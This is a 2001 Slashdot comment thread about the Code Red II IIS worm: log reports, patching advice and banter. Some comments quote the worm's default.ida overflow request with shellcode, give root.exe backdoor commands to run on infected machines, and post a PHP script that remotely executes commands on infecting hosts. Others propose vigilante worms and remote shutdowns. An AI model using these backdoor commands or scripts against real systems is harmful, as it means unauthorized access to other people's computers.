    Microsoft builds shoddy software because by the time exploits are found, they can say "you really ought to upgrade to the latest and greatest, besides, it has all these new features". The software isn't any better, just less well known. If they were to stop for a second, build a stable, secure, extensible framework, they would be able to add all the "features" people are "asking for" without introducing more security flaws. However, that would be like building dikes to contain the flooding river. They would just rather move elsewhere.

  189. Re:Arrrghh by Anonymous Coward · · Score: 0

    havent been paying attention have you???

  190. Re:This web page was changed... by Anonymous Coward · · Score: 0

    PoizonBOx is a very famous (at least among them)group of defacers from Brasil.

  191. Re:logs by Anonymous Coward · · Score: 0

    I sent a log to Rogers telling them to notify the people to patch their computers. It would seem that both version of the Code Red virus is spreading. grep 'default.ida?NNNNN' access_log | mail -s 'APACHE' abuse@rogers.home.net

  192. Re:Server 403's by Cato · · Score: 2

    A couple of possibilities:

    - the infected servers are just DoSed by the number of people scanning them back on a small connection

    - IIS is actually running on WinNT/2K Workstation, which has a limit of something like 10 concurrent inbound TCP connections (exacerbated by HTTP/1.1, used by most browsers these days).

  193. CRII root opening new ports? by RatOmeter · · Score: 2, Informative

    I'm gonna check the "well-known numbers" RFC, but
    I did a little scan of one of the infectoids:
    Ports open at:
    21
    25 (open mail relay too!)
    80
    135
    139
    443
    445
    1025
    1027
    2057
    2162
    2174
    2200
    2210
    2214
    2219
    2227
    2228
    2257
    2282

    I recogize some of those ports, but surely
    windows doesn't need all those ports open?

  194. Re:URM. Thjs is NOT good. GG Microsoft by nyet · · Score: 2

    If somebody had deep linked versions of these via ftp, we could write a white hat worm easily.

    Anybody have ftp deep link equivalents of:
    http://download.microsoft.com/download/winntsp/Pat ch/q300972/NT4/EN-US/Q300972i.exe

    Writing a worm to wget those would be a bitch, but ftp comes installed on all NT boxen... so its easy

    and

    href="http://download.microsoft.com/download/win20 00platform/Patch/q300972/NT5/EN-US/Q300972_W2K_SP3 _x86_en.EXE

  195. Does CRII seal the ida hole? by RatOmeter · · Score: 1

    Several machines listed in logs as attacking
    show up on eeye.com's CodeRedScanner as not
    being vulnerable to the index.ida exploit.

    Is it possible that the CRII worm seals the hole?

    Or maybe those servers have been patched alread.

  196. Write to someone that has an impact by jc2436 · · Score: 1

    If you are replying to a clerk that doesn't give a rat's ass about complaints then nothing will happen. If you write to the CEO of the insurance company then something might happen.

  197. Re:If this can't break Microsoft's back nothing wi by hearingaid · · Score: 1

    my bank used to run IIS for its online banking environment.

    several months back, they switched to IBM's Apache variant. long before Code Red. and reimplemented their ASP code as java servlets.

    well, it makes me feel better anyway :)

    --

    my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

  198. Floppy. by NetJunkie · · Score: 1

    Download the patch. Put it on a floppy. Walk it over to the new system. Apply it.

    Or just burn Service Pack 2 to a CD-R.... or put it on a network behind the firewall. Not that big of a deal.

  199. Re:C:\dos C:\dos\run | run\dos\run by Anonymous Coward · · Score: 0

    I see XXX in my logs all the time, but then again that might have something to do with what I host ;-)

  200. Not much problem at 195.104.*.* by Anonymous Coward · · Score: 0

    Not much unusual traffic here. i am relying on a firewall as i am running IIS unpatched on Win2k. and i won't be hit.. don't worry. :) -A

  201. fuck @home by Anonymous Coward · · Score: 0

    i hope they do go down, all the fucking wannabe spammers, the email harvesters, and about 80% of the crack attacks come from @home addresses.

  202. Re:Why is PWS (IIS 4) on Windows 98 not vulnerable by baptiste · · Score: 2
    Actually, from what I've read, CodeRedII will only infect on Win2K. From the analysis email on BUGTRAQ:

    This worm, like the original Code Red worm, will only exploit Windows 2000 web servers because it overwrites EIP with a jmp that is only correct under Windows 2000. Under NT4.0 etc... that offset is different so, the process will simply crash instead of allowing the worm to infect the system and spread.

    But I'm sure someone will create various flavors with teh right jump points to hit all the IIS variants. Only a matter of time.

  203. The request by ConsumedByTV · · Score: 2, Redundant
    Here is the request I was hit with:

    "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858% ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%uc bd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531 b%u53ff%u0078%u0000%u00=a HTTP/1.0"


    So does this do anything differently?
    --


    "Not my manner of thinking but the manner of thinking of others has been the source of my unhappiness." - M
    1. Re:The request by Anonymous Coward · · Score: 0

      The XXXs do nothing different than the NNNs, their purpose is to exploit the programming error in the function interfaced through default.ida - to overflow the unchecked buffer - inject virus code onto the stack and overwrite the return address. My guess is the author of CodeRedII changed the dummy overflow bytes from NNN to XXX for use as a "signature" if you will. Aside from that, this portion of the worm (the initial infection) is identical to CodeRed.

    2. Re:The request by Anonymous Coward · · Score: 0
      FUCK YOU ASSHOLE!

      If you have any balls, come and defend your honor.

    3. Re:The request by stu72 · · Score: 1

      You just posted a virus in public - have the DMCA police (as requested by Microsoft) broken down your door yet? :)

    4. Re:The request by Anonymous Coward · · Score: 0

      Moderators, shouldn't this post be -1, redundant?

      This was posted almost 20 posts ago already!

      DO YOUR FUCKING JOBS

    5. Re:The request by ConsumedByTV · · Score: 2

      I just put up a request sent to my webserver, Not a virus. After all its a http get request. Microsoft is the one that made it into a virus!

      --


      "Not my manner of thinking but the manner of thinking of others has been the source of my unhappiness." - M
  204. Re:Attempts here by Anonymous Coward · · Score: 0

    Hey, what's wrong with 128Kbit unless you're streaming porn or something? My webserver runs just fine on my ISDN link.. can't get cable or DSL. :-(

  205. Code Red - the soda pop - sales take off! by MyMomIsALinuxHacker · · Score: 3, Funny

    Taken from http://www.securitynewsportal.com/article.php?sid= 1354&mode=thread&order=0

    Code Red--the soda--has been spreading almost as fast as its namesake computer worm, which has infected hundreds of thousands of computers to date. The caffeine-laden, cherry-flavored version of its pale-yellow cousin, Mountain Dew, was released in May, months before the Code Red worm threatened to clog Internet traffic. And as computer security experts work to contain the damage from the Code Red worm, the soda's maker, Pepsi, is coincidentally featuring a "Crack the Code" contest on the Mountain Dew Web site.

    Code Red has been an especially big hit with computer programmers, who often guzzle the high-octane drink to fuel late-night code-writing sessions. Among the drink's fans were the staff of eEye Digital Security, who say they identified the Code Red worm and named it after their favorite soda..

    The rest of the story can be found on http://www.securitynewsportal.com/article.php?sid= 1354&mode=thread&order=0 .

    Its funny. Laugh. Please?

  206. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0
    Don't hold your breath waiting of my mother-in-law to suddenly wake up, install linux and a firewall and become an 31337 h4x0r.
    Your mother-in-law shouldn't have to be 3l337. But that's no reason to run Windows. She wants to treat her computer as an appliance -- so let her; get her a Mac.

    Even if you don't like your mother-in-law, that's no reason to let her use Windows. Think about your wife, and HER feelings. Buy your mother-in-law a Mac today. Keep the domestic peace.

  207. Promise me you'll only use this for good. by dozing · · Score: 1

    Ok folks. Promise to be good with the following.

    If you use the following it should pop up a web browser on the screen of the infected computer (of course replace xxx.xxx... with the infected IP):

    http://xxx.xxx.xxx.xxx/scripts/root.exe?+/c+star t+ http://www.digitalisland.com/codered/

    alternativley you can telnet into port 80 and type:
    GET /scripts/root.exe?+/c+start+http://www.digitalisla nd.com/codered/

    Now create them perl scripts and fix the world.

    --
    Dozings.com -- Its kinda funny... If you're as crazy as me.
    1. Re:Promise me you'll only use this for good. by Iron+Monkey · · Score: 1

      I ddn't know about that... I've also seen "fuck CHINA Government" on at least one page as well...

      --
      If my enemy's enemy is my friend, what happens if my enemy is his own worst enemy?
    2. Re:Promise me you'll only use this for good. by dozing · · Score: 1

      >In the root directory of the drive there's an HTML file with the "Fuck USA goverment" tag or whatever.

      I'm sure I'm not the first to think this, but I think its blatently obvious that this second itteration is somone trying hard to make it look like the chinese, but I'd bet they're a little closer to the US than they'd have us believe.

      --
      Dozings.com -- Its kinda funny... If you're as crazy as me.
  208. Re:logs by reverius · · Score: 0

    I just set up a page-generator to give some statistics for my logs. Here it is.

    I thought I might use it at work tomorrow, but you guys can take a look at it.

    My perl script is also up there, if you guys want it. It looks at the logs, and separates out Code Red 1 and Code Red 2 hits into different files. It also gathers a tiny bit of statistics, like # of code red 1 hits, # of code red 2 hits, and # of hits total.

    The cool thing about my perl script is that it generates a new "index.html" for you every 30 seconds with updated statistics on it. (not like that was hard to do though. ;)

  209. Re:It's been crappy since yesterday. by Megahurts · · Score: 1

    my roadrunner service has been slow and unstable for over a week now. But I only started receiving code red hits on aug 1st according to my logs. It's weird though... I would expect slowdown across the board - that is, affecting all services and slowing down data throughput, but it looks like my primary problem is an extremely slow dns resolution. Oddly enough, I still get full speed transfers after that. I think I'm going to do some reading and just start serving my own dns

  210. Re:Something that should happen more often. by Tackhead · · Score: 3, Funny
    > Man, I'm glad that I'm not using [Microsoft Product]. This new [virus/worm/trojan] exploits a [flaw/bug/backdoor] in [Microsoft Product], and it [does/doesn't] use Outlook and the stupidity of users. Luckily, I'm running [Free alternative to Microsoft product], so I'm not at risk. In fact, [Free alternative to Microsoft product] has protected me from [any integer over 200] [viruses/worms/trojans]. And just look at the [hundreds/thousands/millions/billions] of dollars that I've saved using [Free alternative to Microsoft product]. I hope that this [Free alternative to Microsoft product] takes off, along with [free alternative to Microsoft OS]. Unfortunately, my [company/home] has to pay for the stupidity of Microsoft: this [virus/worm/trojan] sucked [250KB/250MB/250GB/250TB] of bandwidth!

    I hereby propose we adopt your post as a convention.

    We can thus encode "war stories" about the latest [worm/virus/trojan] as follows, saving Slashdot a fortune in bandwidth charges.

    For instance, I can now describe my evening as follows:

    "IIS. Code Red II. flaw. IIS. doesn't. FreeBSD. 429. worms. thousands. Apache. Apache. FreeBSD. company. worm. 6.2MB."

  211. Re:Why not fight back ??? by phillymjs · · Score: 1

    And why dosent any one sue M$ over all these security flaws ? I know that if a company made an unsafe tire tbey get sued.. why not M$ for such awful code ?

    Because if M$ is like most other software companies, their license agreement says [in legalese], "Here's our software. No matter what our marketing materials say, we don't guarantee it against anything. If a bug or bugs in it causes someone to die, or you or your company to lose a million bucks, you're SOL and we're not liable-- because like we said, there's no guarantee, and frankly, you should have known better than to trust us."

    The difference between Microsoft and Firestone is when the weasling-out-of-accountability occurs: Firestone's army of lawyers did it after feces met fan blades by pointing fingers at Ford, Microsoft's did it in advance with the EULA, putting the onus on the hapless sysadmin who had to install that Windows claptrap when the suits ordered him to "make the company compatible with the rest of the world!"

    ~Philly

  212. Re:a quick fix by Malcontent · · Score: 2

    "So after the last 20 root exploits of Linux and Apache, we shouldn't use that either?"

    Of course you shouldn't, especially if they happened within a short period of time. Why would you use any insecure system? If linux and apache got rooted as much as IIS you can bet your ass I'd drop it like a hot potato and move on to something else. There must be a thousand web servers out there both open source and commercial anybody who willingly uses an insecure one is just plain stupid at best and criminally negligent at worst.

    --

    War is necrophilia.

  213. PHP countermeasure by l-ascorbic · · Score: 3, Informative

    On the basis of that, this should work. I'll watch the logs with interest.

    <?php
    header("HTTP/1.0 400 You cheeky fucker");
    ?>
    <html>
    <title>Red Alert</title>
    <?php
    $fp =fsockopen($REMOTE_ADDR,80,$en,$es,5);
    if (!$fp)
    {
    echo "I tried to disinfect you, but couldn't connect: $es ($en)";
    }
    else
    {
    fputs ($fp, "GET /scripts/root.exe?/c+ren+root.exe+infected.dat HTTP/1.0\r\n\r\n");
    echo "I tried to disinfect you, and the server started to say:<h2>";
    echo $res =fgets($fp,1024);
    fclose($fp);
    }
    $log=fopen("/tmp/redalert.log","a");
    fwrite($log,$REMOTE_ADDR . " " . date("r") . " " .$res );
    fclose($log);
    echo "</h2> $SERVER_SIGNATURE";
    ?>

    1. Re:PHP countermeasure by Paranoid · · Score: 1

      That'll work, until the machines get infected again. I'd rather shutdown the machine entirely, or disable all the NICs, or something.
      Its important to get admin intervention. If the admin doesn't know about the problem, you have to let him/her know. If the admin doesn't even know they were running IIS, again, time for a wakeup call.

      Disabling the backdoor will work, until the machine gets infected again. It also won't halt the spread, unless the worm somehow depends on infected.dat?

      Stopping the IIS service also has the problem of not delivering a wakeup call to those who don't even know they were running it. I don't want to support bad administration.

      I'm looking for a way to shut down the machine, stop all the NICs entirely, stop all IPv4 support, or something else disabling the machine and requiring admin intervention. If thats possible, that will FORCE the admin to take responsibility for their box, and effectively disable that box until they do so.

      The problem is finding such a thing with a command-line interface, without a confirmation prompt. Any ideas?

      --
      Paranoid
      Bwaahahahahaa.
    2. Re:PHP countermeasure by Anonymous Coward · · Score: 0

      I thought about writing a program that listens on port 80 for the worm, then attacks the host like the worm using the same buffer overflow, but send a string of jmp +0 processor instructions, so it will stop the worm and IIS from running until the machine is rebooted. That's the theory anyway.

  214. Re:Hypothesis by Anonymous Coward · · Score: 0


    Actually, this would be version III, rember the one with the fixed random generator, thats version II.

    I think the author of version three didn`t know this and called his baby, CodeRedII ( I have seen it in a hexdump ) and this new version looks so much difrend, I guess its a copycat made to look like codered and leave a backdoor. Its simply one of many attempts to use the codered hysteria to get away with messing with other peoples webservers.

  215. Worse than that...any looser has ALL hosts by braddock · · Score: 2, Interesting
    It's worse than that. I can use the backdoor on the few hosts I am being hit directly with, and get THEIR web logs. If I have 100 hosts that have attacked me, and each of THEM have 100 hosts that have tried to reinfect THEM, etc....

    100*100 = 10,000
    100*100*100 = 1,000,000 (250,000 is probably the total number of hosts that will be infected, so you'll start getting diminishing returns as you get duplicates)

  216. it goes a little something like this: by Megahurts · · Score: 1

    pick up a cable or dsl address then wait until sometime when you KNOW a user is around:

    copy con sillymessage.txt
    wake up, neo

    notepad sillymessage.txt
    copy con sillymessage.txt
    follow the white rabbit

  217. Re:What are you talking about? by jonathan_ingram · · Score: 3, Interesting

    Why do you call this pattern bizarre? That's how I'd scan if I wrote a worm: if you manage to infect a computer at a particular IP adress, then you have some evidence that computers 'close' to that one will probably be vulnerable as well, so you attempt to infect 'close' computers more than 'distant' ones.

    You keep trying the 'distant' ones every now and then, just in case you get lucky.

  218. I'm getting pounded at 216. by Silver222 · · Score: 1
    I did the same thing you did, unplugging the modem from my router. I'm not having a very noticeable slowdown either.

    --
    "It's not a war on drugs, it's a war on personal freedom. Keep that in mind at all times." Bill Hicks
    1. Re:I'm getting pounded at 216. by Saint+Aardvark · · Score: 2

      Cancel my above comments -- in the twenty minutes since starting up Apache, I've logged 7 unique IPs all in 216., all CRII.

    2. Re:I'm getting pounded at 216. by Saint+Aardvark · · Score: 2

      Lots of arp who-has? I've been getting that here at 216. too...deliberately started up apache just to have something to catch the attemps, but nothing yet -- just all those damn arps. Makes for boring tcpdump watching, that's for sure...

    3. Re:I'm getting pounded at 216. by scott4000 · · Score: 1

      tah, how cute, an arp who-has flood. I'm getting the same thing on a non-@home 24.x.x.x network.

  219. One monkey, one hour by grammar+fascist · · Score: 1, Flamebait

    The biggest problem I see is that any idiot can set up an IIS server.

    I went to a training class once on IIS - we put in the CD, clicked "OK" a lot, and we had a web server! W00t! With an Apache installation on *nix, you have to know more. This keeps the intelligence level higher on the world's collective Apache admins. (And before you bring it up - yes, I am worried that Linux might go the same way.)

    I've checked my logs and found the majority of attempts coming from sprintbbd.net. Now, it is VERY unlikely that real businesses with real, paid administrators get their connection from Sprint Broadband. (For one thing, the upload is capped at around 30k/sec.) I'll bet the majority of them are home user admin wanna-be's who run a pirated version of IIS. The chances are they don't know or don't care that they've been infected. (Or maybe they forgot that they installed a web server?)

    That's frightening. That leads me to believe that this worm will never go away. As long as there are enough monkeys, it'll stick around.

    --
    I got my Linux laptop at System76.
    1. Re:One monkey, one hour by hardpress · · Score: 1

      7.1 was the first version to include firewall configuration as part of the install. What the firewall option does is to set up some ipchains rules.

      The beta of 7.2 (roswell) which has just come out does the same thing.

      Really, though, you'd want to use iptables since it is a lot more configurable than ipchains. Hopefully a version which does default firewall config with iptables will come along soon.

      Neither ipchains or iptables are solely a Red Hat thing. They're both in the standard linux kernel, with iptables having appeared in 2.4.

      Any recent distro should allow rules to be set with either method.

      Incidentally, Red Hat 7.1 and up have tools called lokkit and firewall-config to make setting ipchains rules easier.

    2. Re:One monkey, one hour by dwlemon · · Score: 1

      Totally OT: Do you know which version has the firewall? I'm using 7.0 but the class is being taught is for 6.1. I was hoping there were no big differences in the networking.

      Hopefully it's something I can spot in ipchains or whatever.

    3. Re:One monkey, one hour by Caradoc · · Score: 1

      Speaking as someone who had SprintBBD/SpeedChoice for over two years: 1) SprintBBD's AUP specifically prohibits running servers on their connection. 2) The uplink "cap" isn't 30k. It's more like 200k/sec on a good day. 3) SprintBBD spent a lot of time "scanning" their subnets for open ports on 12345, 31337, and 27374. Too bad they didn't actually *do* anything but send snail-mail letters to customers with open ports - I got one because I was running FakeBO on mine... I agree - as long as people are installing Win2K server without understanding that it leaves port 80 open BY DEFAULT, this kind of thing is going to continue. Of course, most of the commercial Linux distros do exactly the same thing, leaving boatloads of ports open to exploit.

      --
      Specialization is for insects. - R.A.H.
    4. Re:One monkey, one hour by skt · · Score: 1

      I think that if somebody wrote something similar to this for apache, we would get similar results. It wouldn't be _this_ bad, but still.. look at attrition and you can tell that there are a lot of people that don't secure their webservers (both apache and IIS). However, the graph showing the spike in NT defacements is pretty funny. They really should teach people in those classes that there is more to setting up a server than popping in the CD and clicking next a couple of times.

    5. Re:One monkey, one hour by dwlemon · · Score: 1

      Installing Red Hat is much the same. Put the CD in, choose all the defaults, and pow: you're running a web server.

      Only administrating it isn't quite as easy as Microsoft Management Console makes it. I just got done with the IIS half of a web server class (an elective) and it was completely easy. Now we are starting on Apache on Red Hat which I hope is more of a challenge.

    6. Re:One monkey, one hour by kilrogg · · Score: 1

      I think it was added to 7.1. Older version should still have ipchains installed, but you'd have to write up your own firewalling script.

  220. Re:Something that should happen more often. by IKEA-Boy · · Score: 2, Informative

    While this is a remote exploit, it's not nearly as severe as the default.ida one on IIS. The apache exploit can be used to gather directory listings etc. and does NOT allow arbitrary code to run.

  221. 24.43.*.* is rather heavy.. by milkme123 · · Score: 1

    Must be a lot of people running win2k without turning off (or patching) IIS.. I read this story and noticed that ZoneAlarm recorded about 450 attempts in the last 10 hours.

    1. Re:24.43.*.* is rather heavy.. by Kierthos · · Score: 1

      All of a sudden I don't feel nearly as bad about still running Win95... sure, it's horribly out od dated, not supported any more so if I needed to get it patched I'd have a devil of a time doing it, but no one seems to be writing virii for it anymore...

      That, and I don't use Outlook, IIS, or any of the other wonderfully insecure MS products. But then, I used to use AOL, so I guess I'd already earned enough bad karma...

      How bad is it when people don't want to upgrade because it makes their systems that much less secure? Until Code Red (and now it's big brother) hit, I was actually considering upgrading my crappy OS... well, I still might, but now it'll be to SUSE...

      Kierthos
      (We are upgradink to SUSE or nothink!)

      --
      Mr. Hu is not a ninja.
    2. Re:24.43.*.* is rather heavy.. by Anonymous Coward · · Score: 0

      IIS doesnt run in 2K Pro unless you turn it on, and if you turn it on and are stupid enough to not update then you deserve to be attacked.

  222. Wall Of Shame by jrockway · · Score: 1

    I noticed that PenguinPPC has a Code Red Wall of Shame that details their hits. Interesting :)

    --
    My other car is first.
  223. Re:Free r00t for all! by Malcontent · · Score: 2

    "Now that they have the backdoors, though, how hard would it be to patch them remotely?"

    Why bother? can't you think of more interesting things to do with their computer?

    --

    War is necrophilia.

  224. Re:Proposal for White Hat'ing CR][ by Spoing · · Score: 2
    Suggestion to any White-hat hackers thinking of making a 'Code Green' worm/patch;

    1. Make the patch obnoxious and embarass the slacking admins. Write a file or program that points out that the rest of the world is getting angry that they aren't doing a minimum to secure thier own systems. Put the message in the About...Windows box, put it in a message that pauses the system on boot, put it on the desktop(s), put it on the Start menu somewhere.

    I'm sick of this shit. If I weren't a Libertarian, I'd be for licencing admins before they can play on the Internet. Even without MS code on my servers, I still pay for thier shoddy work.

    --
    A firewall can not protect you from yourself. Turn off what you do not need. Do not use the firewall to do your work.
  225. Wheeeee!!! by Anonymous Coward · · Score: 0

    15:17:55.926357 66 66.31.103.8:1182
    15:17:56.455575 66 66.31.103.8:1182
    15:17:56.914265 66 66.31.103.8:1182
    15:18:51.345615 66 66.31.154.13:3775
    15:18:51.809777 66 66.31.154.13:3775
    15:18:52.315579 66 66.31.154.13:3775
    15:20:31.726119 66 h005004e76369.ne.mediaone.net:1464
    15:26:57.052001 82 h00d0b7aae700.ne.mediaone.net:3273
    15:26:57.554770 82 h00d0b7aae700.ne.mediaone.net:3273
    15:26:58.080174 82 h00d0b7aae700.ne.mediaone.net:3273
    15:32:13.332288 66 66.31.19.147:2582
    15:32:16.792146 66 66.31.19.147:2582
    15:38:43.880391 66 66.31.142.16:2833
    15:38:44.349189 66 66.31.142.16:2833
    15:38:44.837484 66 66.31.142.16:2833
    15:38:52.958961 66 66.31.19.147:4967
    15:38:56.331219 66 66.31.19.147:4967
    15:39:22.530713 66 h005004e76369.ne.mediaone.net:3502
    15:45:36.976398 66 66.31.219.14:3197
    15:45:37.413835 66 66.31.219.14:3197
    15:45:37.916280 66 66.31.219.14:3197
    15:54:11.568987 66 66.31.19.147:4031
    15:54:12.944575 66 66.31.19.147:4031
    15:54:13.671940 66 66.31.19.147:4031
    16:02:34.867118 66 66.31.132.21:2833
    16:02:35.371367 66 66.31.132.21:2833
    16:02:35.882127 66 66.31.132.21:2833
    16:02:46.817720 66 h000102677395.ne.mediaone.net:1786
    16:02:47.287915 66 h000102677395.ne.mediaone.net:1786
    16:02:47.788921 66 h000102677395.ne.mediaone.net:1786
    16:06:00.221683 66 66.31.176.78:4774
    16:06:00.665340 66 66.31.176.78:4774
    16:06:01.198356 66 66.31.176.78:4774
    16:06:51.106485 66 66.31.63.221:1773
    16:06:51.544882 66 66.31.63.221:1773
    16:06:52.045970 66 66.31.63.221:1773
    16:07:21.831421 66 h005004e76369.ne.mediaone.net:2806
    16:13:37.998428 66 66.31.103.8:4157
    16:13:38.630149 66 66.31.103.8:4157
    16:13:39.212269 66 66.31.103.8:4157
    16:13:52.402633 66 66.92.42.226:4663
    16:13:53.045855 66 66.92.42.226:4663
    16:13:53.839430 66 66.92.42.226:4663
    16:18:50.300523 66 66.31.246.7:2321
    16:18:53.282808 66 66.31.246.7:2321
    16:18:59.316794 66 66.31.246.7:2321
    16:21:09.464645 66 h0000b49dc596.ne.mediaone.net:3107
    16:21:09.944963 66 h0000b49dc596.ne.mediaone.net:3107
    16:21:10.443831 66 h0000b49dc596.ne.mediaone.net:3107
    16:23:27.411286 66 66.31.185.167:2183
    16:23:27.938047 66 66.31.185.167:2183
    16:23:28.452444 66 66.31.185.167:2183
    16:28:18.662032 66 66.31.34.197:1696
    16:28:19.129875 66 66.31.34.197:1696
    16:28:19.626824 66 66.31.34.197:1696
    16:32:51.201752 66 66.31.19.147:2492
    16:32:51.777039 66 66.31.19.147:2492
    16:32:52.378695 66 66.31.19.147:2492
    16:33:10.648478 66 h005004e76369.ne.mediaone.net:2842
    16:34:06.006982 66 66.44.68.170:1422
    16:34:08.745472 66 66.44.68.170:1422
    16:34:12.646083 66 66.44.68.170:1422
    16:34:56.562721 66 h005004e76369.ne.mediaone.net:1532
    16:43:19.793887 66 66.31.246.7:2864
    16:43:22.781620 66 66.31.246.7:2864
    16:43:28.777960 66 66.31.246.7:2864
    16:46:01.392954 66 h005004e76369.ne.mediaone.net:1295
    16:46:21.879237 66 66.31.52.223:3247
    16:46:22.392232 66 66.31.52.223:3247
    16:46:22.887446 66 66.31.52.223:3247
    16:47:05.175983 66 66.31.63.221:1297
    16:47:05.636452 66 66.31.63.221:1297
    16:47:06.145739 66 66.31.63.221:1297
    16:49:09.419653 66 h005004e76369.ne.mediaone.net:4128
    16:58:42.992110 66 h005004e76369.ne.mediaone.net:3037
    17:01:18.504047 66 h005004e76369.ne.mediaone.net:3066
    17:02:03.666041 66 66.31.219.14:1882
    17:02:04.151032 66 66.31.219.14:1882
    17:02:04.645839 66 66.31.219.14:1882
    17:04:46.063851 70 66.31.104.220:3718
    17:04:46.500532 70 66.31.104.220:3718
    17:04:47.007617 70 66.31.104.220:3718
    17:06:06.313739 82 h00d0b7aae700.ne.mediaone.net:4826
    17:06:06.776410 82 h00d0b7aae700.ne.mediaone.net:4826
    17:06:07.277350 82 h00d0b7aae700.ne.mediaone.net:4826
    17:06:12.024931 66 66.31.185.167:1836
    17:06:12.531221 66 66.31.185.167:1836
    17:06:13.026034 66 66.31.185.167:1836
    17:06:36.310510 66 h005004e76369.ne.mediaone.net:4019
    17:07:23.861454 66 h005004e76369.ne.mediaone.net:4160
    17:08:42.640964 82 h00a0cc3b6d03.ne.mediaone.net:1390
    17:08:43.136835 82 h00a0cc3b6d03.ne.mediaone.net:1390
    17:08:43.648328 82 h00a0cc3b6d03.ne.mediaone.net:1390
    17:18:12.932029 66 h00a0cc65dafd.ne.mediaone.net:2123
    17:18:13.353661 66 h00a0cc65dafd.ne.mediaone.net:2123
    17:18:13.861988 66 h00a0cc65dafd.ne.mediaone.net:2123
    17:25:33.297043 66 h000102677395.ne.mediaone.net:2526
    17:25:33.847671 66 h000102677395.ne.mediaone.net:2526
    17:25:34.309018 66 h000102677395.ne.mediaone.net:2526
    17:26:58.779025 66 h005004e76369.ne.mediaone.net:4632
    17:29:48.823342 66 61.33.72.216:3658
    17:29:49.539975 66 61.33.72.216:3658
    17:29:50.224710 66 61.33.72.216:3658
    17:48:19.979383 66 208.253.160.5:4707
    17:48:20.654818 66 208.253.160.5:4707
    17:48:21.414775 66 208.253.160.5:4707
    17:48:45.888894 82 h00d0b7aae700.ne.mediaone.net:3340
    17:48:46.358168 82 h00d0b7aae700.ne.mediaone.net:3340
    17:48:46.847613 82 h00d0b7aae700.ne.mediaone.net:3340
    17:50:45.075031 82 h0000b4aab5d3.ne.mediaone.net:4444
    17:50:45.525336 82 h0000b4aab5d3.ne.mediaone.net:4444
    17:50:46.038720 82 h0000b4aab5d3.ne.mediaone.net:4444
    17:53:41.214093 66 66.31.103.8:1104
    17:53:41.741649 66 66.31.103.8:1104
    17:53:42.292439 66 66.31.103.8:1104
    17:58:25.250308 66 h00a0cc65dafd.ne.mediaone.net:4008
    17:58:25.699150 66 h00a0cc65dafd.ne.mediaone.net:4008
    17:58:26.193852 66 h00a0cc65dafd.ne.mediaone.net:4008
    18:01:42.732898 66 66.31.63.221:1968
    18:01:43.221104 66 66.31.63.221:1968
    18:01:43.727629 66 66.31.63.221:1968
    18:02:40.305859 82 h0000b4aab5d3.ne.mediaone.net:4545
    18:02:40.775736 82 h0000b4aab5d3.ne.mediaone.net:4545
    18:02:41.276412 82 h0000b4aab5d3.ne.mediaone.net:4545
    18:10:04.114976 82 h00d0b7aae700.ne.mediaone.net:3587
    18:10:04.575032 82 h00d0b7aae700.ne.mediaone.net:3587
    18:10:05.090142 82 h00d0b7aae700.ne.mediaone.net:3587
    18:10:26.320653 82 66.31.90.18:4930
    18:10:26.857307 82 66.31.90.18:4930
    18:10:27.367300 82 66.31.90.18:4930
    18:19:26.919274 66 66.121.141.35:1497
    18:19:29.805117 66 66.121.141.35:1497
    18:19:32.173330 66 66.31.103.8:4009
    18:19:35.989912 66 66.121.141.35:1497
    18:19:38.772854 66 66.31.103.8:4009
    18:21:41.317501 66 66.31.19.147:3137
    18:21:41.818342 66 66.31.19.147:3137
    18:21:42.331541 66 66.31.19.147:3137
    18:27:52.950866 66 66.31.119.51:3345
    18:27:53.553234 66 66.31.119.51:3345
    18:27:54.048585 66 66.31.119.51:3345
    18:31:17.268443 66 66.31.103.8:1696
    18:31:17.829718 66 66.31.103.8:1696
    18:31:18.366996 66 66.31.103.8:1696
    18:35:51.218420 66 h005004e76369.ne.mediaone.net:3776
    18:36:58.682052 66 66.31.134.132:4090
    18:36:59.129858 66 66.31.134.132:4090
    18:36:59.630050 66 66.31.134.132:4090
    18:39:29.188936 82 66.31.90.18:1650
    18:39:29.622501 82 66.31.90.18:1650
    18:39:30.118453 82 66.31.90.18:1650
    18:43:26.132491 66 66.31.185.167:3771
    18:43:26.614625 66 66.31.185.167:3771
    18:43:27.129779 66 66.31.185.167:3771
    18:44:25.438253 66 66.31.34.197:1097
    18:44:25.963355 66 66.31.34.197:1097
    18:44:26.466727 66 66.31.34.197:1097
    18:46:56.491135 82 h0000b4aab5d3.ne.mediaone.net:1961
    18:46:56.957798 82 h0000b4aab5d3.ne.mediaone.net:1961
    18:46:57.460238 82 h0000b4aab5d3.ne.mediaone.net:1961
    18:50:39.557280 66 66.31.19.147:1088
    18:50:40.017639 66 66.31.19.147:1088
    18:50:40.534323 66 66.31.19.147:1088
    19:01:31.666048 66 66.31.19.147:1418
    19:01:32.148542 66 66.31.19.147:1418
    19:01:32.667597 66 66.31.19.147:1418
    19:04:32.656488 66 66.31.110.214:2229
    19:04:33.160366 66 66.31.110.214:2229
    19:04:33.632996 66 66.31.110.214:2229
    19:05:52.903592 66 h0000b49dc596.ne.mediaone.net:3123
    19:05:53.349706 66 h0000b49dc596.ne.mediaone.net:3123
    19:05:53.888686 66 h0000b49dc596.ne.mediaone.net:3123
    19:09:50.609974 66 66.31.110.214:1256
    19:09:51.154162 66 66.31.110.214:1256
    19:09:51.680749 66 66.31.110.214:1256
    19:11:03.591419 82 h00a0cc3b6d03.ne.mediaone.net:1628
    19:11:04.038952 82 h00a0cc3b6d03.ne.mediaone.net:1628
    19:11:04.560143 82 h00a0cc3b6d03.ne.mediaone.net:1628
    19:13:00.373239 66 66.31.176.78:2697
    19:13:00.885214 66 66.31.176.78:2697
    19:13:01.411488 66 66.31.176.78:2697
    19:13:36.557801 66 66.31.19.147:4827
    19:13:37.009486 66 66.31.19.147:4827
    19:13:37.546756 66 66.31.19.147:4827
    19:14:01.915179 66 h005004e76369.ne.mediaone.net:3132
